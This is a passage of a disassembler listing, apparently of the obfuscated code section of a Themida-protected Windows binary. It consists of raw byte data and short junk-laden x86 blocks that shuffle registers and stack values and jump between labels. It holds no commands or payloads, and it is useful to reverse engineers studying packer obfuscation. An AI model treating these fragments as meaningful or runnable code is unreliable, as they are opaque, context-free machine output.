		dd 57000000h, 42474FFh,	0FF0BD3E9h, 5FFD01FFh, 0FF4999E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5649FD:				; CODE XREF: Themida_:0055D8EEj
		pop	eax
		add	esp, 4
		add	eax, 4
		push	edx
		push	ebp
		push	27034240h
		pop	ebp
		jmp	loc_55674F
; ---------------------------------------------------------------------------


loc_564A16:				; CODE XREF: Themida_:00561C99j
		or	ebp, 4EC1596Bh
		jmp	loc_55B9FC
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0FF1F42E9h, 9BD55FFh, 0E92C8431h, 0FFFFDC9Fh
; ---------------------------------------------------------------------------


loc_564A34:				; CODE XREF: Themida_:00560FEBj
		mov	al, 0D9h
		push	ebx
		mov	bl, 16h
		dec	bl
		xor	bl, 94h
		xor	al, bl
		pop	ebx
		push	edx
		mov	dh, al
		mov	cl, dh
		jmp	loc_560D90
; ---------------------------------------------------------------------------
byte_564A4B	db 8Bh			; DATA XREF: Themida_:00550E20o
		dd 79E9240Ch, 5EFFFF51h, 9A3CE81h, 0BA524891h, 359239F3h
		dd 0FFA38FE9h, 0CE815EFFh, 4CDD28EDh, 4358C681h, 0F7965B54h
		dd 1DE996D0h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A7B:				; CODE XREF: Themida_:0055BA60j
		add	esp, 4
		jmp	loc_5604BB
; ---------------------------------------------------------------------------


loc_564A83:				; CODE XREF: Themida_:00564E33j
		pop	eax
		add	eax, 49DE2577h
		jmp	loc_5522EC
; ---------------------------------------------------------------------------


loc_564A8E:				; CODE XREF: Themida_:0055534Aj
		mov	edi, 72F014B9h
		add	ecx, edi
		jmp	loc_55F39A
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 669F793h, 0FEC5A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564AA5:				; CODE XREF: Themida_:0055B7ADj
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	3EA6h
		mov	[esp], ecx
		jmp	loc_553DA4
; ---------------------------------------------------------------------------


loc_564AB9:				; CODE XREF: Themida_:00563C8Bj
		pop	esp
		add	ecx, 464F0F0Fh
		jmp	loc_555552
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 55h
		dd 28796ABDh, 4D454545h, 0FF8F9AE9h, 0FFC681FFh, 1536F2Eh
		dd 0BD555EF1h, 4D596548h, 1206ED81h, 0E5C15E9Ch, 0EE5BE903h
		dd 0F781FFFFh, 0F99BB558h, 0D6E9FD89h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_564AFF:				; CODE XREF: Themida_:00553B06j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5531C1
; ---------------------------------------------------------------------------


loc_564B0E:				; CODE XREF: Themida_:00551079j
		mov	edi, 63B82526h
		mov	ebp, edi
		pop	edi
		inc	ebp
		not	ebp
		shl	ebp, 4
		shr	ebp, 7
		dec	ebp
		add	ebp, 924B372h
		add	ebp, esi
		jmp	loc_554FA1
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 6Eh
		dd 515C5108h, 93D3FB9h,	59CF014Eh, 0E2CF814Fh, 8166EF00h
		dd 0B1448DE7h, 4EF78112h, 68784F01h, 2F5Eh, 0B9240C89h
		dd 5E6B5C94h, 0FFFD89E9h, 68F029FFh, 7472h
dword_564B68	dd 0FF0C1AE9h		; DATA XREF: Themida_:00553D07o
		db 0FFh
; ---------------------------------------------------------------------------


loc_564B6D:				; CODE XREF: Themida_:00555C13j
		push	esi
		mov	esi, 4
		jmp	loc_556D59
; ---------------------------------------------------------------------------
		dd 81243C89h, 4ECh, 24248900h, 4BE56h, 74010000h, 0FF5E0424h
		dd 3C8B2434h, 4C48124h,	81000000h, 4C4h, 0A6685000h, 89000000h
		dd 1EBF243Ch, 0E97D1374h, 0FFFFB804h, 6808E7C1h, 31EFh
		dd 0BE243489h, 7D39132Ch, 348BF721h, 4C48324h, 47F76851h
		dd 5BE961CEh
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564BD7:				; CODE XREF: Themida_:00554576j
		mov	ebx, 79B80A01h
		add	ebx, 25663281h
		inc	ebx
		sub	ebx, 66D1CC29h
		sub	ebp, ebx
		pop	ebx
		dec	ebp
		jmp	loc_5541D9
; ---------------------------------------------------------------------------
		dw 405h
		dd 50000000h, 42474FFh,	8124048Bh, 4C4h, 24048F00h, 0FFB119E9h
		dd 5D0F7FFh, 0DC20CCCh,	695A402Dh, 0E9D8F706h, 0FFFFDA21h
		dd 31240C33h, 0C33240Ch, 87685C24h, 89000002h, 0E2892414h
		dd 4C281h, 0C2830000h, 9F95E904h, 5B66FFFFh, 0FDE95052h
		db 0D2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564C4B:				; CODE XREF: Themida_:00563E37j
		sub	esi, ebx
		pop	ebx
		neg	esi
		jmp	loc_55E64E
; ---------------------------------------------------------------------------
byte_564C55	db 66h,	0ADh, 53h	; DATA XREF: Themida_:00550D70o
		dd 0FF084CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564C5D:				; CODE XREF: Themida_:005654BFj
		mov	[esp], ebx
		jmp	loc_556E44
; ---------------------------------------------------------------------------


loc_564C65:				; CODE XREF: Themida_:005573E0j
		add	dword ptr [ebx], 1
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		mov	eax, [esp]
		add	esp, 4


loc_564C7F:				; CODE XREF: Themida_:0055C0EFj
		sub	esp, 4
		jmp	loc_5526C4
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 49C32433h, 0FF3AA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564C95:				; CODE XREF: Themida_:005598D1j
		push	edi
		push	esp
		jmp	loc_558A75
; ---------------------------------------------------------------------------


loc_564C9C:				; CODE XREF: Themida_:0055BF7Cj
		mov	[esp], ebp
		push	ecx
		mov	ecx, 4CD62989h
		jmp	loc_55EFC2
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFECCF7h, 36E9C289h, 5DFFFF7Ch, 0FF7824E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564CBD:				; CODE XREF: Themida_:00557DE2j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_554A8A
; ---------------------------------------------------------------------------


loc_564CCF:				; CODE XREF: Themida_:0055267Cj
		mov	[esp], ebx
		jmp	loc_562B0F
; ---------------------------------------------------------------------------
		db 89h
		dd 67E9243Ch, 30FFFFBBh, 0C8B66C8h, 4EC8124h, 89000000h
		dd 0E789243Ch, 4C781h, 0CBE90000h
		db 0C5h, 0FEh, 0FFh
byte_564CFB	db 8Bh			; DATA XREF: Themida_:00550E34o
		dd 1C68240Ch, 89000014h, 0E589242Ch, 4C581h, 93680000h
		dd 0E900007Ah, 0FFFF86D7h, 0D8E9C801h
		db 5Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564D1F:				; CODE XREF: Themida_:005641F2j
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_562A44
; ---------------------------------------------------------------------------
		db 33h
		dd 0BAE9242Ch
		db 0D6h, 2 dup(0FFh)
byte_564D37	db 66h			; DATA XREF: Themida_:00550DDCo
		dd 0E924248Bh, 0FFFEC21Fh, 0E557DBEh, 0A03E922h, 7804FFFFh
		dd 782CE828h, 4C82859h,	0EB805991h, 7DF0E90Bh, 0ED81FFFFh
		dd 43C1E172h, 0A0E9E889h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_564D6B:				; CODE XREF: Themida_:0055B2E6j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	edx
		mov	edx, esp
		jmp	loc_552671
; ---------------------------------------------------------------------------


loc_564D78:				; CODE XREF: Themida_:0055A0C5j
		not	edi
		xor	edi, 49A42284h
		or	edi, 729C5886h
		xor	edi, 0ED53C8DFh
		xor	edx, edi
		jmp	loc_55CA2E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5C243C87h, 4268C381h, 564B5D41h, 235BA52h, 50BE134Bh
		dd 292F4152h, 24148BD6h, 4C481h, 4EE90000h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564DBB:				; CODE XREF: Themida_:0055E92Ej
		pop	esp
		jmp	loc_562B44
; ---------------------------------------------------------------------------


loc_564DC1:				; CODE XREF: Themida_:00553F1Fj
		pop	eax
		sub	eax, 3CFB2269h
		shr	eax, 6
		jmp	loc_55FE8C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 0FFBD2AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564DDD:				; CODE XREF: Themida_:0055D5C3j
		push	edi
		jmp	loc_557273
; ---------------------------------------------------------------------------
		db 59h
		dd 5EF0015Ah, 5C240487h, 0FEC16EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564DF1:				; CODE XREF: Themida_:005643E5j
		pop	ebp
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 3A180CB0h
		push	edx
		mov	edx, 669D1A6Eh
		jmp	loc_565021
; ---------------------------------------------------------------------------
		dw 15Ch
		dd 2434FFC5h, 4C48358h,	8B242C87h, 0D3662424h, 0E99C240Ch
		dd 0FFFF21BDh, 3968D4B0h, 0E900002Ch, 0FFFFDF44h
; ---------------------------------------------------------------------------


loc_564E2C:				; CODE XREF: Themida_:0055775Bj
		xor	eax, 7DFCD816h
		xor	ebx, eax
		jmp	loc_564A83
; ---------------------------------------------------------------------------
		dd 5DE9F828h
		db 0C3h, 2 dup(0FFh)
byte_564E3F	db 66h			; DATA XREF: Themida_:00550D9Co
		dd 6824048Bh, 7A98h, 89240489h,	0B85052E0h, 551E7D12h
		dd 0E182F2BAh, 9181E9AAh, 668FFFFh, 89000071h, 0F1B5240Ch
		dd 74916866h, 240C8966h, 0FF92D9E9h, 0C68852FFh, 885AF588h
		dd 240C8BEBh, 5004C483h, 33E9DC88h, 87FFFFCAh, 0E95C2414h
		dd 0FFFF8CD8h, 4EC815Ah, 89000000h, 2BA2414h, 81000000h
		dd 166FB2EBh, 81D30114h, 166FB2C3h, 2434FF14h, 2865E95Ah
		dd 0E6C1FFFFh, 2E6C106h, 5F04BF57h, 0FE3167DAh,	5EF1015Fh
		dd 0E9240C87h, 0FFFFD7E0h, 89241489h, 4BE56E2h,	1000000h
		dd 24348BF2h, 4C481h, 39E90000h
		db 0CCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564EEF:				; CODE XREF: Themida_:005555FAj
		add	esi, edx
		pop	edx
		sub	esi, 2F4B7891h
		sub	ebx, esi
		jmp	loc_56140D
; ---------------------------------------------------------------------------
		db 1
		dd 4FC181C1h, 81172569h, 254654E9h, 24048B72h, 5104C483h
		dd 0FECBEAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564F19:				; CODE XREF: Themida_:005512A8j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55420F
; ---------------------------------------------------------------------------
		dd 8904EC83h, 7BE9240Ch, 80FFFEDEh, 0F9E9C7F7h,	89FFFED8h
		dd 405E0h, 0EC830000h, 243C8904h, 0FEC93BE9h, 0E08950FFh
		dd 0FF0234E9h, 2474FFFFh, 2BE95A04h, 0F6000003h, 0E9DFF6D7h
		dd 0FFFEF79Fh
; ---------------------------------------------------------------------------


loc_564F64:				; CODE XREF: Themida_:00557027j
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55532E
; ---------------------------------------------------------------------------


loc_564F75:				; CODE XREF: Themida_:00561D3Fj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_555DFF
; ---------------------------------------------------------------------------
		dw 489h
		dd 2474FF24h, 48F5804h,	1955E924h, 3B68FFFFh, 89000066h
		dd 12E92434h, 5BFFFF04h, 4C381h, 0C3810000h, 4,	31241C33h
		dd 1C33241Ch, 0C267E924h, 3489FFFEh, 0CC16E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564FBE:				; CODE XREF: Themida_:00554FB3j
		pop	esp
		shr	ebp, 1
		push	eax
		mov	eax, 0FBA37F7Bh
		sub	ebp, 2C3C7A34h
		add	ebp, eax
		add	ebp, 2C3C7A34h
		jmp	loc_562DDE
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 374575F4h, 0E7C1DFF7h, 9768E903h, 0B652FFFFh, 8BF3209Ah
		dd 0C4812414h, 4, 66B0EB80h, 52E0B151h,	0CAFE9EB2h, 8010C280h
		dd 0C2FE76C2h, 31EA80h,	7AE95AD3h, 0B8FFFF8Eh, 234342D2h
		dd 0FECD76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565021:				; CODE XREF: Themida_:00564E01j
		and	ebx, edx
		pop	edx
		sub	ebx, 5D8E4CCEh
		xor	ebx, 0C489BB56h
		jmp	loc_5574A8
; ---------------------------------------------------------------------------


loc_565035:				; CODE XREF: Themida_:005543FDj
		sub	edx, 5A5B79A2h
		jmp	loc_55C210
; ---------------------------------------------------------------------------
		dd 2434FF54h, 4C4835Ah,	4C281h,	0C2810000h, 4, 2474FF52h
		dd 48F5A04h, 48F5C24h, 24248B24h, 4C381h, 0C3810000h, 2
		dd 31241C33h, 1C33241Ch, 24248B24h, 0C8AF0F66h,	0E99C5166h
		dd 0FFFEBED7h
; ---------------------------------------------------------------------------


loc_565088:				; CODE XREF: Themida_:00561208j
		mov	edx, 4
		mov	eax, edx
		mov	edx, [esp]
		jmp	loc_559F9E
; ---------------------------------------------------------------------------
		db 31h
		dd 0DD0158C5h, 5B2434FFh, 5604C483h, 0CD5383BEh, 46D6F761h
		dd 1BB53h, 0DE010000h, 84CE815Bh, 81421C54h, 0F61ECDEEh
		dd 18BE565Dh, 108F734h,	8CFE9F5h, 0C1B8FFFFh, 0D523826h
		dd 46877CC4h, 0FF4C85E9h
		db 0FFh
byte_5650DD	db 8Bh,	4, 24h		; DATA XREF: Themida_:00550D58o
		dd 0FF6CACE9h, 0BE75E9FFh, 0EA81FFFEh, 7D631288h, 0FEBE6AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5650F5:				; CODE XREF: Themida_:005559BFj
		push	779Ch
		jmp	loc_558D86
; ---------------------------------------------------------------------------


loc_5650FF:				; CODE XREF: Themida_:0055DD00j
		mov	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 11F33104h
		neg	edi
		dec	edi
		neg	edi
		jmp	loc_55827F
; ---------------------------------------------------------------------------
		dw 565Fh
		dd 0C681E689h, 4, 8704EE83h, 0E95C2434h, 0FFFF05A9h, 41E9C62Ch
		db 25h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56512F:				; CODE XREF: Themida_:005623BAj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55A2AF
; ---------------------------------------------------------------------------
		dd 2414F753h, 81DA875Bh, 26D96CC2h, 79C181C3h, 0E90D7A2Fh
		dd 0FFFEC703h
; ---------------------------------------------------------------------------


loc_565158:				; CODE XREF: Themida_:005548EAj
		mov	edx, 4
		sub	ecx, 2A180F6Bh
		sub	ecx, edx
		add	ecx, 2A180F6Bh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55793D
; ---------------------------------------------------------------------------
		db 1, 0F0h, 5Eh
		dd 205h, 0C6A9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565186:				; CODE XREF: Themida_:00559867j
		mov	esi, [esp]
		jmp	loc_5549FE
; ---------------------------------------------------------------------------
		dw 12BBh
		dd 16F294Eh, 8E80E9D9h,	159FFFFh, 4EC83D7h, 0E9240489h
		dd 0FFFF0B3Eh, 0C1CFE951h, 1368FFFEh, 89000073h, 0B6B9240Ch
		dd 0E9416F61h, 0FFFED31Dh
; ---------------------------------------------------------------------------


loc_5651C0:				; CODE XREF: Themida_:00553003j
		add	ebp, 4
		push	edx
		push	esi
		mov	esi, 4
		mov	edx, esi
		pop	esi
		jmp	loc_55C0C8
; ---------------------------------------------------------------------------
		db 5Fh,	53h, 0BBh
		dd 3E8D6C83h, 1C8BDD21h, 4C48324h, 8104EDC1h, 0A6A759F5h
		dd 5DEB0924h, 0EE09F381h, 56533FCFh, 7E1550BEh,	0EC49E93Dh
		dd 0C181FFFFh, 10493B4Fh, 60E9F101h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56520F:				; CODE XREF: Themida_:0055B745j
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		push	4
		pop	edx
		jmp	loc_552F34
; ---------------------------------------------------------------------------


loc_565236:				; CODE XREF: Themida_:00557F0Aj
		pop	ebx
		push	7990h
		jmp	loc_557E87
; ---------------------------------------------------------------------------
		align 2
		dw 59EFh
		dd 0FA3092B2h, 81241C8Bh, 4C4h,	0CDEA8000h, 8B5AD028h
		dd 0C483240Ch, 0A9E95104h, 89FFFF95h, 81682414h, 89000052h
		dd 0E589242Ch, 5658E952h, 0E9C1FFFFh, 22E1E907h, 0EBC0FFFFh
		dd 0AC20E904h, 48FFFFFh, 24248B24h, 8B243C89h, 54532414h
		dd 4C3815Bh, 83000000h,	1C8704C3h, 24248B24h, 20E9C909h
		dd 5F000005h, 706F68h, 240C8900h, 0FFEF6AE9h, 42D59FFh
		dd 87000000h, 248B2404h, 0EA5FE924h, 1B68FFFFh,	8900005Ch
		dd 4EB02404h, 0C1307BB1h, 0E92434FFh, 0FFFF6441h
; ---------------------------------------------------------------------------


loc_5652E0:				; CODE XREF: Themida_:005611EDj
		pop	ecx
		xor	edx, 74CA5C51h
		sub	edx, 0FFFFFFFFh
		shr	edx, 2
		push	ecx
		mov	ecx, 1BB30A4Fh
		shl	ecx, 2
		and	ecx, 634D62E5h
		inc	ecx
		xor	ecx, 47E71588h
		shl	ecx, 2
		xor	ecx, 963D9622h
		xor	edx, ecx
		pop	ecx
		add	edx, 0EBE58EC9h
		sub	ecx, edx
		pop	edx
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_560D2D
; ---------------------------------------------------------------------------
		dd 6A1F3D35h, 0DA27052Eh, 0C281EBD1h, 6E6D290Ah, 4EC81h
		dd 0C890000h, 0CB3AE924h, 5758FFFFh, 42474FFh, 24048F5Fh
		dd 148B665Ch, 1BBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56535E:				; CODE XREF: Themida_:00559993j
		push	ebx
		jmp	loc_5608B6
; ---------------------------------------------------------------------------
		dd 0BAC28159h, 15B2B57h, 7216E9F2h, 0BB53FFFFh,	20E16428h
		dd 0E6E9DF29h, 68FFFED0h, 4D61h, 68243489h, 78B1h, 83242489h
		dd 8B042404h, 0D9E92434h, 88FFFF31h, 148B59ECh,	4C48124h
		dd 81000000h, 4ECh, 49F2E900h, 0C981FFFFh, 543B2BB5h, 91F18149h
		dd 1CBCDC9h, 24ADE9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5653C6:				; CODE XREF: Themida_:00564765j
		xchg	ebx, [esp]
		jmp	loc_55C7B0
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 88535124h, 5BDD88C3h, 0EB885352h, 885BDE88h,	0F1E95AF7h
		dd 59FFFF57h, 8DE95704h, 59FFFF54h, 0FF62B3E9h,	685055FFh
		dd 2638673Dh, 2DD0F758h, 79284F15h, 3C681F35h, 0C1895164h
		dd 0FF9B14E9h, 4EC81FFh, 0E9000000h, 0FFFF0479h, 8BE95750h
		dd 0FEFFFF2Ch, 37B151CFh, 809EE180h, 0C780ACF1h, 0DDC7802Dh
		dd 0EF80CF00h, 2DEF80DDh, 81240C8Bh, 4C4h, 1EF8000h, 5266CFFEh
		dd 0F7008FB6h, 0FEED32E9h, 4C181FFh, 87000000h,	525C240Ch
		dd 0D388CA88h, 0C8B665Ah, 2C48324h, 0FF7C4FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565471:				; CODE XREF: Themida_:0055EA2Aj
		mov	[esp], ebp
		mov	ebp, 1
		jmp	loc_559F58
; ---------------------------------------------------------------------------
		dw 525Ah
		dd 6BE9FAB6h, 68FFFEE1h, 47A1h,	0FECD15E9h, 81E689FFh
		dd 4C6h, 4EE8300h, 5C243487h, 0FFE5AFE9h, 4893BAFFh, 0ABE90F6Ch
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5654AF:				; CODE XREF: Themida_:005554E7j
		pop	esp
		or	ebx, ebx
		jnz	loc_564123
		push	ecx
		sub	esp, 4
		jmp	loc_564C5D
; ---------------------------------------------------------------------------


loc_5654C4:				; CODE XREF: Themida_:0055A1BDj
		sub	edi, 537164A3h
		add	edi, ebp
		jmp	loc_5582D7
; ---------------------------------------------------------------------------
		db 5, 0E1h, 63h
		dd 3C8B1F24h, 0FAF3E924h, 2C8BFFFEh, 4C48324h, 4244401h
		dd 0B3B95158h, 154AB60h, 5904244Ch, 7623B850h, 44013FA8h
		dd 0DBE90424h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565503:				; CODE XREF: Themida_:0055A21Dj
		add	edi, 1A687EE5h
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_562FC8
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5EE72D04h, 0E95D3CCBh, 0FFFF942Bh
; ---------------------------------------------------------------------------


loc_565528:				; CODE XREF: Themida_:00554B12j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55109A
; ---------------------------------------------------------------------------
		db 81h
		dd 415ECEF1h, 0D5A1E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565542:				; CODE XREF: Themida_:0055C3D4j
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_565547:				; CODE XREF: Themida_:00561BB5j
		mov	bl, 0EFh
		add	al, 43h
		sub	al, bl
		sub	al, 43h
		pop	bx
		jmp	loc_560FE1
; ---------------------------------------------------------------------------


loc_565556:				; CODE XREF: Themida_:0055CFB0j
		push	ecx
		jmp	loc_55E15A
; ---------------------------------------------------------------------------
		dd 0E99C5066h, 0FFFEB9FBh
; ---------------------------------------------------------------------------


loc_565564:				; CODE XREF: Themida_:00561399j
		mov	[esp], ecx
		pop	ebp
		push	ebp
		jmp	loc_563162
; ---------------------------------------------------------------------------
		dw 842Dh
		dd 8B280D3Ah, 49E92434h, 0FFFF1Ch, 835A66F5h, 48904ECh
		dd 303DB424h, 24048BE5h, 5004C483h, 0E48000B4h,	0C4DFE96Dh
		dd 55BFFFEh, 62FE7DE9h,	21F868h, 243C8900h, 5C4F6855h
		dd 0C890000h, 7ABF6824h, 4890000h, 3C0B824h, 0FFE97258h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5655C3:				; CODE XREF: Themida_:005552ECj
		pop	ebp
		jmp	loc_556777
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 3024248Bh, 0E99C2404h, 0FFFEB987h, 0E381DBF7h, 39A74E50h
		dd 8105EBC1h, 21274FEBh, 9EC781BAh, 17AC612h, 9EEF81DFh
		dd 8B7AC612h, 0C483241Ch, 0D1C78104h, 0E95D0A06h, 0FFFFB1D3h
; ---------------------------------------------------------------------------


loc_565608:				; CODE XREF: Themida_:00558F61j
		push	esi
		push	ebp
		jmp	loc_559EDE
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0
		dd 5406ED81h, 0F52903A7h, 5228BE56h, 6812F1h, 0E9000000h
		dd 0FFFF1A0Fh, 8904EC83h, 0E189240Ch, 4C181h, 0B8500000h
		dd 4, 0F07AE950h
		db 0FEh, 0FFh
word_565646	dw 34FFh		; DATA XREF: Themida_:00550DE8o
		dd 240C8B24h, 0FFF000E9h, 0E94959FFh, 65Ah
; ---------------------------------------------------------------------------


loc_565658:				; CODE XREF: Themida_:00551EBEj
		push	eax
		mov	eax, 5C78472Eh
		and	eax, 6F691CD7h
		sub	eax, 67625CB0h
		add	eax, 56013295h
		push	edx
		mov	edx, 699C5B82h
		sub	eax, edx
		pop	edx
		jmp	loc_55AC02
; ---------------------------------------------------------------------------
		db 81h
		dd 51233EC5h, 88E5814Bh, 8171CC0Ch, 0A025E8CDh,	0F6CCE928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565692:				; CODE XREF: Themida_:0055784Dj
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55C03F
; ---------------------------------------------------------------------------
		dw 41BAh
		dd 837C044Eh, 9CE9FFEAh
		db 0DAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5656AB:				; CODE XREF: Themida_:00559838j
		add	eax, 4
		jmp	loc_553731
; ---------------------------------------------------------------------------
		db 0B6h, 44h, 30h
		dd 24148BF4h, 4C481h, 3EE90000h, 81FFFF31h, 0D9B33BEAh
		dd 0E9D701F7h, 0FFFFDB4Bh, 0C181D129h, 0C572033h, 0FFCBC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5656E1:				; CODE XREF: Themida_:005625BAj
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
		dw 57BEh
		dd 174B671h, 0CA015EF2h, 0FECEC3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5656F5:				; CODE XREF: Themida_:00563F42j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		push	1C9Bh
		mov	[esp], edi
		mov	edi, 4D890CB3h
		mov	ebp, edi
		pop	edi
		mov	esi, ebp
		pop	ebp
		add	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_5642D8
; ---------------------------------------------------------------------------
		db 80h
		dd 0C380ACC3h
		db 0E8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556F24
; ---------------------------------------------------------------------------
		dw 60B4h
		dd 0E90FEC80h, 0FFFFDEEDh, 0D5718BBFh, 5FF82944h, 460D442Dh
		dd 16CA680Fh, 1C890000h, 6BA86824h, 1C8B401Ch, 0E7895724h
		dd 4C781h, 0DE680000h, 0E9000055h, 0FFFF3E2Bh
; ---------------------------------------------------------------------------


loc_565778:				; CODE XREF: Themida_:00561411j
		or	ebx, 67F21FDBh
		jmp	loc_557A5C
; ---------------------------------------------------------------------------
		db 53h
		dd 0BC5CE956h, 0D4F6FFFFh, 80E5F480h, 0EC805ECCh, 9A47E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56579A:				; CODE XREF: Themida_:00554AE6j
		push	3801h
		mov	[esp], edi
		push	3FD001D3h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56062B
; ---------------------------------------------------------------------------


loc_5657B5:				; CODE XREF: Themida_:005553A0j
		mov	esp, [esp]
		push	esi
		jmp	loc_55854A
; ---------------------------------------------------------------------------


loc_5657BE:				; CODE XREF: Themida_:0055AF4Bj
		neg	edx
		push	ecx
		mov	ecx, 13C30E10h
		jmp	loc_55FF52
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFAC9A84h, 4EC83FFh, 0FEF973E9h, 6A7368FFh,	0DDE90000h
		dd 0FFFFFFBEh, 8B042474h, 52E9243Ch, 52FFFEEFh,	2A4C09BAh
		dd 36EFBE58h, 0BF575C86h, 0C19DA05Bh, 295FFE29h, 1C5CE9D6h
		dd 0C281FFFFh, 0F5D4CB24h, 0FFFC72E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565815:				; CODE XREF: Themida_:0055255Bj
		mov	eax, 32A54AB6h
		shl	eax, 4
		push	ebx
		jmp	loc_558716
; ---------------------------------------------------------------------------


loc_565823:				; CODE XREF: Themida_:00560841j
		sub	esp, 4
		mov	[esp], ebp
		push	5D4Ah
		mov	[esp], ebx
		push	edx
		mov	edx, 606967DEh
		push	606967DFh
		pop	ebx
		xor	ebx, edx
		pop	edx
		jmp	loc_55EEDA
; ---------------------------------------------------------------------------


loc_565848:				; CODE XREF: Themida_:00562674j
		sub	ebp, 6EF2000Dh
		pop	ecx
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_5604DE
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 63h
		dd 1F17D1Fh, 685E5BDDh,	2949h, 0B9240C89h, 528E362Bh, 0C8BC829h
		dd 4C48124h, 1000000h, 1668E9E8h, 0E95BFFFFh, 0FFFECFB5h
		dd 24048B52h, 4C481h, 148B0000h, 93B5E924h, 0C681FFFFh
		dd 62689819h, 0FF5EF029h, 2DE92434h
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5658AB:				; CODE XREF: Themida_:005562F7j
		push	ecx
		mov	ecx, 69297F77h
		mov	edx, 69297F7Bh
		sub	edx, ecx
		pop	ecx
		add	ecx, edx
		jmp	loc_55730C
; ---------------------------------------------------------------------------


loc_5658C0:				; CODE XREF: Themida_:00562DA9j
		add	edx, ebx
		add	edx, 40CB24E5h
		sub	edx, 39612722h
		push	dword ptr [esp]
		jmp	loc_5519C2
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 183E4584h, 81243C8Bh, 4C4h, 24143300h, 33241431h, 67E92414h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5658F3:				; CODE XREF: Themida_:005546E6j
		sub	ebx, ebp
		push	esi
		mov	esi, 36D73A76h
		jmp	loc_55B822
; ---------------------------------------------------------------------------
